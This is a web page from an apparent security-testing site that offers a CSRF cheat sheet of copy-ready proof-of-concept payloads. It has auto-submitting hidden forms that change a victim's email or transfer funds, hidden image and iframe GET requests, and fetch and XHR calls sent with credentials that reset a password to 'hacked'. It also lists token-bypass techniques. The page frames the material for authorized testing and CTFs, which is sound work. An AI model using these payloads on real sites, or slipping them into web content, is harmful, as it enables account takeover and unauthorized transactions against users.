Skip to content
Payload Playground

CSRF Cheat Sheet

Cross-Site Request Forgery proof-of-concept payloads for auto-submitting forms, XHR, fetch, and JSON CSRF. (13 payloads)

Build custom CSRF payloads in the CORS Misconfiguration generator

Auto-Submit Forms

(4)
<form action="https://TARGET/change-email" method="POST"><input type="hidden" name="email" value="[email protected]"/></form><script>document.forms[0].submit();</script>
Auto-submit hidden form
<form action="https://TARGET/transfer" method="POST" enctype="text/plain"><input name='{"amount":1000,"to":"attacker","ignore":"'value='"}'/></form><script>document.forms[0].submit();</script>
JSON body via form enctype trick
<img src="https://TARGET/delete?id=1" style="display:none">
GET-based CSRF via image tag
<iframe src="https://TARGET/action?param=value" style="display:none"></iframe>
GET-based CSRF via iframe

XHR / Fetch CSRF

(3)
<script>fetch("https://TARGET/api/change-password",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"password=hacked"})</script>
Fetch API CSRF with credentials
<script>var x=new XMLHttpRequest();x.open("POST","https://TARGET/api/action");x.withCredentials=true;x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");x.send("param=value");</script>
XHR CSRF with credentials
<script>fetch("https://TARGET/api/action",{method:"POST",credentials:"include",headers:{"Content-Type":"application/json"},body:JSON.stringify({key:"value"})})</script>
JSON CSRF via fetch (needs permissive CORS)

Token Bypass

(6)
Remove CSRF token parameter entirely
Test if token is actually validated
Use empty string as CSRF token value
Test for empty token acceptance
Swap CSRF token from another session
Test if token is tied to session
Change POST to GET and move params to query string
Method override bypass
Change Content-Type to text/plain or multipart/form-data
Content-Type bypass (avoids preflight)
Use same CSRF token value twice
Test for token reuse / non-rotation
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the CSRF Cheat Sheet?+

It's a quick-reference collection of 13 CSRF payloads for testing CSRF vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these CSRF payloads?+

Copy any payload straight into your authorized test, or open the CORS Misconfiguration generator to build customized CSRF variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these CSRF payloads free to use?+

Yes — this cheat sheet and all CSRF payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/csrf) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.